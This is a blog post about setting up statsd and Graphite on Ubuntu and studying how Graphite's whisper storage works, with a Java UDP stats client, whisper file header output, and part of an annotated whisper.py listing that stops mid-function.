After re-installed ubuntu10.4 server, and followed the instruction of <a href="http://geek.michaelgrace.org/2011/09/how-to-install-graphite-on-ubuntu/">how to install graphite on ubuntu</a>, both statsd and Graphite startuped successfully.<br />
<br />
The latest version of graphite is 0.9.9, and lacking of document, i am looking forward its 1.0 which planned to release at 2012-01-01 and hugely delayed from its timeline. <br />
<br />
Statsd is very simple, it is a daemon of node.js, and its stats.js contains only about 300 lines code. By reveiwing its code, you can fully understand the concept introduced in <a href="http://codeascraft.etsy.com/2011/02/15/measure-anything-measure-everything/">Measure Anything, Measure Everything</a>, especially counter and timing.<br />
<br />
Now it is time to run a test.<br />
<br />
1. Launch Graphite(by default graphite will be installed to /opt/graphite).<br />
> sudo /etc/init.d/apache2 restart # startup apache(graphite-web).<br />
> cd /opt/graphite/> sudo ./bin/carbon-cache.py start # startup carbon to receive incoming stats.<br />
<br />
2. Launch Statsd<br />
> cd $STATSD_HOME<br />
> sudo cp exampleConfig.js myconfig.js # change the configuration according to your requirement<br />
> sudo node stats.js myconfig.js<br />
<br />
3. Run statsd client(actually there is a <a href="https://github.com/devinfoley/statsd/blob/f2248bb78b3d5844404ed577a3696909db9b6582/StatsdClient.java">java client</a>)<br />
> java Main<br />
<br />
<pre style="background-color: white; border-style: dotted;"><span class="PreProc">import</span> java.util.Random;
<span class="PreProc">import</span> java.io.IOException;
<span class="PreProc">import</span> java.net.DatagramPacket;
<span class="PreProc">import</span> java.net.DatagramSocket;
<span class="PreProc">import</span> java.net.InetAddress;
<span class="PreProc">import</span> java.net.SocketException;
<span class="PreProc">import</span> java.net.UnknownHostException;
<span class="Type">public</span> <span class="Type">class</span> Main{
<span class="Type">public</span> <span class="Type">static</span> <span class="Type">void</span> main(String args[]) <span class="Type">throws</span> Exception{
DatagramSocket socket = <span class="Statement">new</span> DatagramSocket();
<span class="Statement">while</span>(<span class="Constant">true</span>) {
<span class="Comment">// send counter stats</span>
<span class="Type">int</span> c = <span class="Statement">new</span> Random().nextInt(<span class="Constant">10</span>);
String data = <span class="Constant">"ramoncounter:"</span> + c + <span class="Constant">"|c"</span>;
<span class="Type">byte</span>[] d = data.getBytes();
socket.send(<span class="Statement">new</span> DatagramPacket(d, d.length, InetAddress.getByName(<span class="Constant">"192.168.2.221"</span>), <span class="Constant">8125</span>));
System.out.println(<span class="Constant">"[Send] "</span> + data + <span class="Constant">"...Sleep 10 seconds!"</span>);
<span class="Comment">// send timer stats</span>
data = <span class="Constant">""</span>;
data += <span class="Constant">"ramontimer:"</span> + <span class="Statement">new</span> Random().nextInt(<span class="Constant">30</span>) + <span class="Constant">"|ms"</span>;
d = data.getBytes();
socket.send(<span class="Statement">new</span> DatagramPacket(d, d.length, InetAddress.getByName(<span class="Constant">"192.168.2.221"</span>), <span class="Constant">8125</span>));
System.out.println(<span class="Constant">"[Send] "</span> + data + <span class="Constant">"...Sleep 10 seconds!"</span>);
Thread.sleep(<span class="Constant">10</span> * <span class="Constant">1000</span>);
}
}
}
</pre>
<br />
Now open web browser and access http://GRAPHITE_HOST, you will be welcomed be graphite web UI.<br />
<br />
<b>How graphite maintain the incoming data points?</b><br />
<br />
This is a big topic, graphite includes 3 components:<br />
<ol>
<li>carbon - a <a href="http://www.twistedmatrix.com/">Twisted</a> daemon that listens for time-series data.</li>
<li>whisper - a simple database library for storing time-series data (similar in design to <a href="http://oss.oetiker.ch/rrdtool/">RRD</a>)</li>
<li>graphite webapp - A <a href="http://www.djangoproject.com/">Django </a>webapp that renders graphs on-demand using <a href="http://www.cairographics.org/">Cairo</a></li>
</ol>
Whisper is the data storage engine, and it contain one or more archives, each with a specific data resolution and retention (defined in number of points or max timestamp age). Archives are ordered from the highest-resolution and shortest retention archive to the lowest-resolution and longest retention period archive.<br />
<br />
As the official document is so limited, and lacks of examples, it is hard to really understand how whisper works. I modified whisper.py by outputting more log messages to understand its mechanism.<br />
<br />
The main functions of whisper.py are:<br />
<br />
<ul>
<li>def create(path,archiveList,xFilesFactor=None,aggregationMethod=None)</li>
<li>def update(path,value,timestamp=None)</li>
<li>def fetch(path,fromTime,untilTime=None)</li>
<li>def info(path) - get header information.</li>
</ul>
<br />
By running the test client(Main.class), I have got a <span style="background-color: #cccccc;">ramoncounter</span>.wsp file which contains all data points of the given metrics. Its header information is as below:<br />
<br />
<pre style="background-color: white; border-style: dotted;">maxRetention: 157784400
xFilesFactor: 0.5
aggregationMethod: average
fileSize: 3302620
Archive 0
retention: 21600
secondsPerPoint: 10
points: 2160
size: 25920
offset: 52
Archive 1
retention: 604800
secondsPerPoint: 60
points: 10080
size: 120960
offset: 25972
Archive 2
retention: 157784400
secondsPerPoint: 600
points: 262974
size: 3155688
offset: 146932
</pre>
<br />
The amended whisper.py:<br />
<pre style="background-color: white; border-style: dotted;"><span class="lnr"> 1 </span><span class="Comment">#!/usr/bin/env python</span>
<span class="lnr"> 2 </span><span class="Comment"># Copyright 2008 Orbitz WorldWide</span>
<span class="lnr"> 3 </span><span class="Comment">#</span>
<span class="lnr"> 4 </span><span class="Comment"># Licensed under the Apache License, Version 2.0 (the "License");</span>
<span class="lnr"> 5 </span><span class="Comment"># you may not use this file except in compliance with the License.</span>
<span class="lnr"> 6 </span><span class="Comment"># You may obtain a copy of the License at</span>
<span class="lnr"> 7 </span><span class="Comment">#</span>
<span class="lnr"> 8 </span><span class="Comment"># <a href="http://www.apache.org/licenses/LICENSE-2.0">http://www.apache.org/licenses/LICENSE-2.0</a></span>
<span class="lnr"> 9 </span><span class="Comment">#</span>
<span class="lnr"> 10 </span><span class="Comment"># Unless required by applicable law or agreed to in writing, software</span>
<span class="lnr"> 11 </span><span class="Comment"># distributed under the License is distributed on an "AS IS" BASIS,</span>
<span class="lnr"> 12 </span><span class="Comment"># WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.</span>
<span class="lnr"> 13 </span><span class="Comment"># See the License for the specific language governing permissions and</span>
<span class="lnr"> 14 </span><span class="Comment"># limitations under the License.</span>
<span class="lnr"> 15 </span><span class="Comment">#</span>
<span class="lnr"> 16 </span><span class="Comment">#</span>
<span class="lnr"> 17 </span><span class="Comment"># This module is an implementation of the Whisper database API</span>
<span class="lnr"> 18 </span><span class="Comment"># Here is the basic layout of a whisper data file</span>
<span class="lnr"> 19 </span><span class="Comment">#</span>
<span class="lnr"> 20 </span><span class="Comment"># File = Header,Data</span>
<span class="lnr"> 21 </span><span class="Comment"># Header = Metadata,ArchiveInfo+</span>
<span class="lnr"> 22 </span><span class="Comment"># Metadata = aggregationType,maxRetention,xFilesFactor,archiveCount</span>
<span class="lnr"> 23 </span><span class="Comment"># ArchiveInfo = Offset,SecondsPerPoint,Points</span>
<span class="lnr"> 24 </span><span class="Comment"># Data = Archive+</span>
<span class="lnr"> 25 </span><span class="Comment"># Archive = Point+</span>
<span class="lnr"> 26 </span><span class="Comment"># Point = timestamp,value</span>
<span class="lnr"> 27 </span>
<span class="lnr"> 28 </span><span class="PreProc">import</span> os, struct, time, logging
<span class="lnr"> 29 </span>
<span class="lnr"> 30 </span>logging.basicConfig(filename=<span class="Constant">"whisper.log"</span>,level=logging.DEBUG)
<span class="lnr"> 31 </span>
<span class="lnr"> 32 </span><span class="Statement">try</span>:
<span class="lnr"> 33 </span> <span class="PreProc">import</span> fcntl
<span class="lnr"> 34 </span> CAN_LOCK = <span class="Identifier">True</span>
<span class="lnr"> 35 </span><span class="Statement">except</span> <span class="Type">ImportError</span>:
<span class="lnr"> 36 </span> CAN_LOCK = <span class="Identifier">False</span>
<span class="lnr"> 37 </span>
<span class="lnr"> 38 </span>LOCK = <span class="Identifier">False</span>
<span class="lnr"> 39 </span>CACHE_HEADERS = <span class="Identifier">False</span>
<span class="lnr"> 40 </span>AUTOFLUSH = <span class="Identifier">False</span>
<span class="lnr"> 41 </span>__headerCache = {}
<span class="lnr"> 42 </span>
<span class="lnr"> 43 </span>longFormat = <span class="Constant">"!L"</span>
<span class="lnr"> 44 </span>longSize = struct.calcsize(longFormat)
<span class="lnr"> 45 </span>floatFormat = <span class="Constant">"!f"</span>
<span class="lnr"> 46 </span>floatSize = struct.calcsize(floatFormat)
<span class="lnr"> 47 </span>valueFormat = <span class="Constant">"!d"</span>
<span class="lnr"> 48 </span>valueSize = struct.calcsize(valueFormat)
<span class="lnr"> 49 </span>pointFormat = <span class="Constant">"!Ld"</span>
<span class="lnr"> 50 </span>pointSize = struct.calcsize(pointFormat)
<span class="lnr"> 51 </span>metadataFormat = <span class="Constant">"!2LfL"</span>
<span class="lnr"> 52 </span>metadataSize = struct.calcsize(metadataFormat)
<span class="lnr"> 53 </span>archiveInfoFormat = <span class="Constant">"!3L"</span>
<span class="lnr"> 54 </span>archiveInfoSize = struct.calcsize(archiveInfoFormat)
<span class="lnr"> 55 </span>
<span class="lnr"> 56 </span>aggregationTypeToMethod = <span class="Identifier">dict</span>({
<span class="lnr"> 57 </span> <span class="Constant">1</span>: <span class="Constant">'average'</span>,
<span class="lnr"> 58 </span> <span class="Constant">2</span>: <span class="Constant">'sum'</span>,
<span class="lnr"> 59 </span> <span class="Constant">3</span>: <span class="Constant">'last'</span>,
<span class="lnr"> 60 </span> <span class="Constant">4</span>: <span class="Constant">'max'</span>,
<span class="lnr"> 61 </span> <span class="Constant">5</span>: <span class="Constant">'min'</span>
<span class="lnr"> 62 </span>})
<span class="lnr"> 63 </span>aggregationMethodToType = <span class="Identifier">dict</span>([[v,k] <span class="Statement">for</span> k,v <span class="Statement">in</span> aggregationTypeToMethod.items()])
<span class="lnr"> 64 </span>aggregationMethods = aggregationTypeToMethod.values()
<span class="lnr"> 65 </span>
<span class="lnr"> 66 </span>debug = startBlock = endBlock = <span class="Statement">lambda</span> *a,**k: <span class="Identifier">None</span>
<span class="lnr"> 67 </span>
<span class="lnr"> 68 </span>UnitMultipliers = {
<span class="lnr"> 69 </span> <span class="Constant">'s'</span> : <span class="Constant">1</span>,
<span class="lnr"> 70 </span> <span class="Constant">'m'</span> : <span class="Constant">60</span>,
<span class="lnr"> 71 </span> <span class="Constant">'h'</span> : <span class="Constant">60</span> * <span class="Constant">60</span>,
<span class="lnr"> 72 </span> <span class="Constant">'d'</span> : <span class="Constant">60</span> * <span class="Constant">60</span> * <span class="Constant">24</span>,
<span class="lnr"> 73 </span> <span class="Constant">'y'</span> : <span class="Constant">60</span> * <span class="Constant">60</span> * <span class="Constant">24</span> * <span class="Constant">365</span>,
<span class="lnr"> 74 </span>}
<span class="lnr"> 75 </span>
<span class="lnr"> 76 </span>
<span class="lnr"> 77 </span><span class="Statement">def</span> <span class="Identifier">parseRetentionDef</span>(retentionDef):
<span class="lnr"> 78 </span> (precision, points) = retentionDef.strip().split(<span class="Constant">':'</span>)
<span class="lnr"> 79 </span>
<span class="lnr"> 80 </span> <span class="Statement">if</span> precision.isdigit():
<span class="lnr"> 81 </span> precisionUnit = <span class="Constant">'s'</span>
<span class="lnr"> 82 </span> precision = <span class="Identifier">int</span>(precision)
<span class="lnr"> 83 </span> <span class="Statement">else</span>:
<span class="lnr"> 84 </span> precisionUnit = precision[-<span class="Constant">1</span>]
<span class="lnr"> 85 </span> precision = <span class="Identifier">int</span>( precision[:-<span class="Constant">1</span>] )
<span class="lnr"> 86 </span>
<span class="lnr"> 87 </span> <span class="Statement">if</span> points.isdigit():
<span class="lnr"> 88 </span> pointsUnit = <span class="Identifier">None</span>
<span class="lnr"> 89 </span> points = <span class="Identifier">int</span>(points)
<span class="lnr"> 90 </span> <span class="Statement">else</span>:
<span class="lnr"> 91 </span> pointsUnit = points[-<span class="Constant">1</span>]
<span class="lnr"> 92 </span> points = <span class="Identifier">int</span>( points[:-<span class="Constant">1</span>] )
<span class="lnr"> 93 </span>
<span class="lnr"> 94 </span> <span class="Statement">if</span> precisionUnit <span class="Statement">not</span> <span class="Statement">in</span> UnitMultipliers:
<span class="lnr"> 95 </span> <span class="Statement">raise</span> <span class="Type">ValueError</span>(<span class="Constant">"Invalid unit: '%s'"</span> % precisionUnit)
<span class="lnr"> 96 </span>
<span class="lnr"> 97 </span> <span class="Statement">if</span> pointsUnit <span class="Statement">not</span> <span class="Statement">in</span> UnitMultipliers <span class="Statement">and</span> pointsUnit <span class="Statement">is</span> <span class="Statement">not</span> <span class="Identifier">None</span>:
<span class="lnr"> 98 </span> <span class="Statement">raise</span> <span class="Type">ValueError</span>(<span class="Constant">"Invalid unit: '%s'"</span> % pointsUnit)
<span class="lnr"> 99 </span>
<span class="lnr">100 </span> precision = precision * UnitMultipliers[precisionUnit]
<span class="lnr">101 </span>
<span class="lnr">102 </span> <span class="Statement">if</span> pointsUnit:
<span class="lnr">103 </span> points = points * UnitMultipliers[pointsUnit] / precision
<span class="lnr">104 </span>
<span class="lnr">105 </span> <span class="Statement">return</span> (precision, points)
<span class="lnr">106 </span>
<span class="lnr">107 </span><span class="Statement">class</span> <span class="Identifier">WhisperException</span>(<span class="Type">Exception</span>):
<span class="lnr">108 </span> <span class="Constant">"""Base class for whisper exceptions."""</span>
<span class="lnr">109 </span>
<span class="lnr">110 </span>
<span class="lnr">111 </span><span class="Statement">class</span> <span class="Identifier">InvalidConfiguration</span>(WhisperException):
<span class="lnr">112 </span> <span class="Constant">"""Invalid configuration."""</span>
<span class="lnr">113 </span>
<span class="lnr">114 </span>
<span class="lnr">115 </span><span class="Statement">class</span> <span class="Identifier">InvalidAggregationMethod</span>(WhisperException):
<span class="lnr">116 </span> <span class="Constant">"""Invalid aggregation method."""</span>
<span class="lnr">117 </span>
<span class="lnr">118 </span>
<span class="lnr">119 </span><span class="Statement">class</span> <span class="Identifier">InvalidTimeInterval</span>(WhisperException):
<span class="lnr">120 </span> <span class="Constant">"""Invalid time interval."""</span>
<span class="lnr">121 </span>
<span class="lnr">122 </span>
<span class="lnr">123 </span><span class="Statement">class</span> <span class="Identifier">TimestampNotCovered</span>(WhisperException):
<span class="lnr">124 </span> <span class="Constant">"""Timestamp not covered by any archives in this database."""</span>
<span class="lnr">125 </span>
<span class="lnr">126 </span><span class="Statement">class</span> <span class="Identifier">CorruptWhisperFile</span>(WhisperException):
<span class="lnr">127 </span> <span class="Statement">def</span> <span class="Identifier">__init__</span>(self, error, path):
<span class="lnr">128 </span> <span class="Type">Exception</span>.__init__(self, error)
<span class="lnr">129 </span> self.error = error
<span class="lnr">130 </span> self.path = path
<span class="lnr">131 </span>
<span class="lnr">132 </span> <span class="Statement">def</span> <span class="Identifier">__repr__</span>(self):
<span class="lnr">133 </span> <span class="Statement">return</span> <span class="Constant">"<CorruptWhisperFile[%s] %s>"</span> % (self.path, self.error)
<span class="lnr">134 </span>
<span class="lnr">135 </span> <span class="Statement">def</span> <span class="Identifier">__str__</span>(self):
<span class="lnr">136 </span> <span class="Statement">return</span> <span class="Constant">"%s (%s)"</span> % (self.error, self.path)
<span class="lnr">137 </span>
<span class="lnr">138 </span><span class="Statement">def</span> <span class="Identifier">enableDebug</span>():
<span class="lnr">139 </span> <span class="Statement">global</span> <span class="Identifier">open</span>, debug, startBlock, endBlock
<span class="lnr">140 </span> <span class="Statement">class</span> <span class="Identifier">open</span>(<span class="Identifier">file</span>):
<span class="lnr">141 </span> <span class="Statement">def</span> <span class="Identifier">__init__</span>(self,*args,**kwargs):
<span class="lnr">142 </span> <span class="Identifier">file</span>.__init__(self,*args,**kwargs)
<span class="lnr">143 </span> self.writeCount = <span class="Constant">0</span>
<span class="lnr">144 </span> self.readCount = <span class="Constant">0</span>
<span class="lnr">145 </span>
<span class="lnr">146 </span> <span class="Statement">def</span> <span class="Identifier">write</span>(self,data):
<span class="lnr">147 </span> self.writeCount += <span class="Constant">1</span>
<span class="lnr">148 </span> debug(<span class="Constant">'WRITE %d bytes #%d'</span> % (<span class="Identifier">len</span>(data),self.writeCount))
<span class="lnr">149 </span> <span class="Statement">return</span> <span class="Identifier">file</span>.write(self,data)
<span class="lnr">150 </span>
<span class="lnr">151 </span> <span class="Statement">def</span> <span class="Identifier">read</span>(self,<span class="Identifier">bytes</span>):
<span class="lnr">152 </span> self.readCount += <span class="Constant">1</span>
<span class="lnr">153 </span> debug(<span class="Constant">'READ %d bytes #%d'</span> % (<span class="Identifier">bytes</span>,self.readCount))
<span class="lnr">154 </span> <span class="Statement">return</span> <span class="Identifier">file</span>.read(self,<span class="Identifier">bytes</span>)
<span class="lnr">155 </span>
<span class="lnr">156 </span> <span class="Statement">def</span> <span class="Identifier">debug</span>(message):
<span class="lnr">157 </span> <span class="Identifier">print</span> <span class="Constant">'DEBUG :: %s'</span> % message
<span class="lnr">158 </span>
<span class="lnr">159 </span> __timingBlocks = {}
<span class="lnr">160 </span>
<span class="lnr">161 </span> <span class="Statement">def</span> <span class="Identifier">startBlock</span>(name):
<span class="lnr">162 </span> __timingBlocks[name] = time.time()
<span class="lnr">163 </span>
<span class="lnr">164 </span> <span class="Statement">def</span> <span class="Identifier">endBlock</span>(name):
<span class="lnr">165 </span> debug(<span class="Constant">"%s took %.5f seconds"</span> % (name,time.time() - __timingBlocks.pop(name)))
<span class="lnr">166 </span>
<span class="lnr">167 </span>
<span class="lnr">168 </span><span class="Statement">def</span> <span class="Identifier">__readHeader</span>(fh):
<span class="lnr">169 </span> info = __headerCache.get(fh.name)
<span class="lnr">170 </span> <span class="Statement">if</span> info:
<span class="lnr">171 </span> <span class="Statement">return</span> info
<span class="lnr">172 </span>
<span class="lnr">173 </span> originalOffset = fh.tell()
<span class="lnr">174 </span> fh.seek(<span class="Constant">0</span>)
<span class="lnr">175 </span> packedMetadata = fh.read(metadataSize)
<span class="lnr">176 </span>
<span class="lnr">177 </span> <span class="Statement">try</span>:
<span class="lnr">178 </span> (aggregationType,maxRetention,xff,archiveCount) = struct.unpack(metadataFormat,packedMetadata)
<span class="lnr">179 </span> <span class="Statement">except</span>:
<span class="lnr">180 </span> <span class="Statement">raise</span> CorruptWhisperFile(<span class="Constant">"Unable to read header"</span>, fh.name)
<span class="lnr">181 </span>
<span class="lnr">182 </span> archives = []
<span class="lnr">183 </span>
<span class="lnr">184 </span> <span class="Statement">for</span> i <span class="Statement">in</span> <span class="Identifier">xrange</span>(archiveCount):
<span class="lnr">185 </span> packedArchiveInfo = fh.read(archiveInfoSize)
<span class="lnr">186 </span> <span class="Statement">try</span>:
<span class="lnr">187 </span> (offset,secondsPerPoint,points) = struct.unpack(archiveInfoFormat,packedArchiveInfo)
<span class="lnr">188 </span> <span class="Statement">except</span>:
<span class="lnr">189 </span> <span class="Statement">raise</span> CorruptWhisperFile(<span class="Constant">"Unable to read archive %d metadata"</span> % i, fh.name)
<span class="lnr">190 </span>
<span class="lnr">191 </span> archiveInfo = {
<span class="lnr">192 </span> <span class="Constant">'offset'</span> : offset,
<span class="lnr">193 </span> <span class="Constant">'secondsPerPoint'</span> : secondsPerPoint,
<span class="lnr">194 </span> <span class="Constant">'points'</span> : points,
<span class="lnr">195 </span> <span class="Constant">'retention'</span> : secondsPerPoint * points,
<span class="lnr">196 </span> <span class="Constant">'size'</span> : points * pointSize,
<span class="lnr">197 </span> }
<span class="lnr">198 </span> archives.append(archiveInfo)
<span class="lnr">199 </span>
<span class="lnr">200 </span> fh.seek(originalOffset)
<span class="lnr">201 </span> info = {
<span class="lnr">202 </span> <span class="Constant">'aggregationMethod'</span> : aggregationTypeToMethod.get(aggregationType, <span class="Constant">'average'</span>),
<span class="lnr">203 </span> <span class="Constant">'maxRetention'</span> : maxRetention,
<span class="lnr">204 </span> <span class="Constant">'xFilesFactor'</span> : xff,
<span class="lnr">205 </span> <span class="Constant">'archives'</span> : archives,
<span class="lnr">206 </span> }
<span class="lnr">207 </span> <span class="Statement">if</span> CACHE_HEADERS:
<span class="lnr">208 </span> __headerCache[fh.name] = info
<span class="lnr">209 </span>
<span class="lnr">210 </span> <span class="Statement">return</span> info
<span class="lnr">211 </span>
<span class="lnr">212 </span>
<span class="lnr">213 </span><span class="Statement">def</span> <span class="Identifier">setAggregationMethod</span>(path, aggregationMethod):
<span class="lnr">214 </span> <span class="Constant">"""setAggregationMethod(path,aggregationMethod)</span>
<span class="lnr">215 </span>
<span class="lnr">216 </span><span class="Constant">path is a string</span>
<span class="lnr">217 </span><span class="Constant">aggregationMethod specifies the method to use when propogating data (see ``whisper.aggregationMethods``)</span>
<span class="lnr">218 </span><span class="Constant">"""</span>
<span class="lnr">219 </span> fh = <span class="Identifier">open</span>(path,<span class="Constant">'r+b'</span>)
<span class="lnr">220 </span> <span class="Statement">if</span> LOCK:
<span class="lnr">221 </span> fcntl.flock( fh.fileno(), fcntl.LOCK_EX )
<span class="lnr">222 </span>
<span class="lnr">223 </span> packedMetadata = fh.read(metadataSize)
<span class="lnr">224 </span>
<span class="lnr">225 </span> <span class="Statement">try</span>:
<span class="lnr">226 </span> (aggregationType,maxRetention,xff,archiveCount) = struct.unpack(metadataFormat,packedMetadata)
<span class="lnr">227 </span> <span class="Statement">except</span>:
<span class="lnr">228 </span> <span class="Statement">raise</span> CorruptWhisperFile(<span class="Constant">"Unable to read header"</span>, fh.name)
<span class="lnr">229 </span>
<span class="lnr">230 </span> <span class="Statement">try</span>:
<span class="lnr">231 </span> newAggregationType = struct.pack( longFormat, aggregationMethodToType[aggregationMethod] )
<span class="lnr">232 </span> <span class="Statement">except</span> <span class="Type">KeyError</span>:
<span class="lnr">233 </span> <span class="Statement">raise</span> InvalidAggregationMethod(<span class="Constant">"Unrecognized aggregation method: %s"</span> %
<span class="lnr">234 </span> aggregationMethod)
<span class="lnr">235 </span>
<span class="lnr">236 </span> fh.seek(<span class="Constant">0</span>)
<span class="lnr">237 </span> fh.write(newAggregationType)
<span class="lnr">238 </span>
<span class="lnr">239 </span> <span class="Statement">if</span> AUTOFLUSH:
<span class="lnr">240 </span> fh.flush()
<span class="lnr">241 </span> os.fsync(fh.fileno())
<span class="lnr">242 </span>
<span class="lnr">243 </span> <span class="Statement">if</span> CACHE_HEADERS <span class="Statement">and</span> fh.name <span class="Statement">in</span> __headerCache:
<span class="lnr">244 </span> <span class="Statement">del</span> __headerCache[fh.name]
<span class="lnr">245 </span>
<span class="lnr">246 </span> fh.close()
<span class="lnr">247 </span>
<span class="lnr">248 </span> <span class="Statement">return</span> aggregationTypeToMethod.get(aggregationType, <span class="Constant">'average'</span>)
<span class="lnr">249 </span>
<span class="lnr">250 </span>
<span class="lnr">251 </span><span class="Statement">def</span> <span class="Identifier">validateArchiveList</span>(archiveList):
<span class="lnr">252 </span> <span class="Constant">""" Validates an archiveList. archiveList is a list of archives, each of which is of the form (secondsPerPoint,numberOfPoints)</span>
<span class="lnr">253 </span><span class="Constant"> An ArchiveList must:</span>
<span class="lnr">254 </span><span class="Constant"> 1. Have at least one archive config. Example: (60, 86400) </span>
<span class="lnr">255 </span><span class="Constant"> 2. No archive may be a duplicate of another. </span>
<span class="lnr">256 </span><span class="Constant"> 3. Higher precision archives' precision must evenly divide all lower precision archives' precision.</span>
<span class="lnr">257 </span><span class="Constant"> 4. Lower precision archives must cover larger time intervals than higher precision archives.</span>
<span class="lnr">258 </span>
<span class="lnr">259 </span><span class="Constant"> Returns True or False</span>
<span class="lnr">260 </span><span class="Constant"> """</span>
<span class="lnr">261 </span>
<span class="lnr">262 </span> <span class="Statement">try</span>:
<span class="lnr">263 </span> <span class="Statement">if</span> <span class="Statement">not</span> archiveList:
<span class="lnr">264 </span> <span class="Statement">raise</span> InvalidConfiguration(<span class="Constant">"You must specify at least one archive configuration!"</span>)
<span class="lnr">265 </span>
<span class="lnr">266 </span> archiveList.sort(key=<span class="Statement">lambda</span> a: a[<span class="Constant">0</span>]) <span class="Comment">#sort by precision (secondsPerPoint)</span>
<span class="lnr">267 </span>
<span class="lnr">268 </span> <span class="Statement">for</span> i,archive <span class="Statement">in</span> <span class="Identifier">enumerate</span>(archiveList):
<span class="lnr">269 </span> <span class="Statement">if</span> i == <span class="Identifier">len</span>(archiveList) - <span class="Constant">1</span>:
<span class="lnr">270 </span> <span class="Statement">break</span>
<span class="lnr">271 </span>
<span class="lnr">272 </span> <span class="Identifier">next</span> = archiveList[i+<span class="Constant">1</span>]
<span class="lnr">273 </span> <span class="Statement">if</span> <span class="Statement">not</span> (archive[<span class="Constant">0</span>] < <span class="Identifier">next</span>[<span class="Constant">0</span>]):
<span class="lnr">274 </span> <span class="Statement">raise</span> InvalidConfiguration(<span class="Constant">"You cannot configure two archives "</span>
<span class="lnr">275 </span> <span class="Constant">"with the same precision %s,%s"</span> % (archive,<span class="Identifier">next</span>))
<span class="lnr">276 </span>
<span class="lnr">277 </span> <span class="Statement">if</span> (<span class="Identifier">next</span>[<span class="Constant">0</span>] % archive[<span class="Constant">0</span>]) != <span class="Constant">0</span>:
<span class="lnr">278 </span> <span class="Statement">raise</span> InvalidConfiguration(<span class="Constant">"Higher precision archives' precision "</span>
<span class="lnr">279 </span> <span class="Constant">"must evenly divide all lower precision archives' precision %s,%s"</span> <span class="Special">\</span>
<span class="lnr">280 </span> % (archive[<span class="Constant">0</span>],<span class="Identifier">next</span>[<span class="Constant">0</span>]))
<span class="lnr">281 </span>
<span class="lnr">282 </span> retention = archive[<span class="Constant">0</span>] * archive[<span class="Constant">1</span>]
<span class="lnr">283 </span> nextRetention = <span class="Identifier">next</span>[<span class="Constant">0</span>] * <span class="Identifier">next</span>[<span class="Constant">1</span>]
<span class="lnr">284 </span>
<span class="lnr">285 </span> <span class="Statement">if</span> <span class="Statement">not</span> (nextRetention > retention):
<span class="lnr">286 </span> <span class="Statement">raise</span> InvalidConfiguration(<span class="Constant">"Lower precision archives must cover "</span>
<span class="lnr">287 </span> <span class="Constant">"larger time intervals than higher precision archives %s,%s"</span> <span class="Special">\</span>
<span class="lnr">288 </span> % (archive,<span class="Identifier">next</span>))
<span class="lnr">289 </span>
<span class="lnr">290 </span> <span class="Statement">except</span>:
<span class="lnr">291 </span> <span class="Comment"># RAMON: no exceptions will be thrown out???</span>
<span class="lnr">292 </span> <span class="Statement">return</span> <span class="Identifier">False</span>
<span class="lnr">293 </span> <span class="Statement">return</span> <span class="Identifier">True</span>
<span class="lnr">294 </span>
<span class="lnr">295 </span><span class="Statement">def</span> <span class="Identifier">create</span>(path,archiveList,xFilesFactor=<span class="Identifier">None</span>,aggregationMethod=<span class="Identifier">None</span>):
<span class="lnr">296 </span> <span class="Constant">"""create(path,archiveList,xFilesFactor=0.5,aggregationMethod='average')</span>
<span class="lnr">297 </span><span class="Constant">archiveList is a list of archives, each of which is of the form (secondsPerPoint,numberOfPoints)</span>
<span class="lnr">298 </span><span class="Constant">path is a string</span>
<span class="lnr">299 </span><span class="Constant">archiveList is a list of archives, each of which is of the form (secondsPerPoint,numberOfPoints)</span>
<span class="lnr">300 </span><span class="Constant">xFilesFactor specifies the fraction of data points in a propagation interval that must have known values for a propagation to occur</span>
<span class="lnr">301 </span><span class="Constant">aggregationMethod specifies the function to use when propogating data (see ``whisper.aggregationMethods``)</span>
<span class="lnr">302 </span><span class="Constant">"""</span>
<span class="lnr">303 </span> <span class="Comment"># Set default params</span>
<span class="lnr">304 </span> <span class="Statement">if</span> xFilesFactor <span class="Statement">is</span> <span class="Identifier">None</span>:
<span class="lnr">305 </span> xFilesFactor = <span class="Constant">0.5</span>
<span class="lnr">306 </span> <span class="Statement">if</span> aggregationMethod <span class="Statement">is</span> <span class="Identifier">None</span>:
<span class="lnr">307 </span> aggregationMethod = <span class="Constant">'average'</span>
<span class="lnr">308 </span>
<span class="lnr">309 </span> <span class="Comment">#Validate archive configurations...</span>
<span class="lnr">310 </span> validArchive = validateArchiveList(archiveList)
<span class="lnr">311 </span> <span class="Statement">if</span> <span class="Statement">not</span> validArchive:
<span class="lnr">312 </span> <span class="Statement">raise</span> InvalidConfiguration(<span class="Constant">"There was a problem creating %s due to an invalid schema config."</span> % path)
<span class="lnr">313 </span>
<span class="lnr">314 </span> <span class="Comment">#Looks good, now we create the file and write the header</span>
<span class="lnr">315 </span> <span class="Statement">if</span> os.path.exists(path):
<span class="lnr">316 </span> <span class="Statement">raise</span> InvalidConfiguration(<span class="Constant">"File %s already exists!"</span> % path)
<span class="lnr">317 </span>
<span class="lnr">318 </span> fh = <span class="Identifier">open</span>(path,<span class="Constant">'wb'</span>)
<span class="lnr">319 </span> <span class="Statement">if</span> LOCK:
<span class="lnr">320 </span> fcntl.flock( fh.fileno(), fcntl.LOCK_EX )
<span class="lnr">321 </span>
<span class="lnr">322 </span> aggregationType = struct.pack( longFormat, aggregationMethodToType.get(aggregationMethod, <span class="Constant">1</span>) )
<span class="lnr">323 </span> <span class="Comment"># for example a archieve list, [[10,2160],[60,10080],[600,262974]]</span>
<span class="lnr">324 </span> oldest = <span class="Identifier">sorted</span>([secondsPerPoint * points <span class="Statement">for</span> secondsPerPoint,points <span class="Statement">in</span> archiveList])[-<span class="Constant">1</span>]
<span class="lnr">325 </span> <span class="Comment"># the retention of [600,262974] is 600*262974</span>
<span class="lnr">326 </span> maxRetention = struct.pack( longFormat, oldest )
<span class="lnr">327 </span> <span class="Comment"># xFilesFactor = 0.5</span>
<span class="lnr">328 </span> xFilesFactor = struct.pack( floatFormat, <span class="Identifier">float</span>(xFilesFactor) )
<span class="lnr">329 </span> <span class="Comment"># archiveCount = 3</span>
<span class="lnr">330 </span> archiveCount = struct.pack(longFormat, <span class="Identifier">len</span>(archiveList))
<span class="lnr">331 </span> packedMetadata = aggregationType + maxRetention + xFilesFactor + archiveCount
<span class="lnr">332 </span> fh.write(packedMetadata)
<span class="lnr">333 </span> <span class="Comment"># !2LfL means L+L+f+L</span>
<span class="lnr">334 </span> <span class="Comment"># Metadata !2LfL aggregationType,maxRetention,xFilesFactor,archiveCount</span>
<span class="lnr">335 </span> <span class="Comment"># ArchiveInfo !3L Offset,SecondsPerPoint,Points</span>
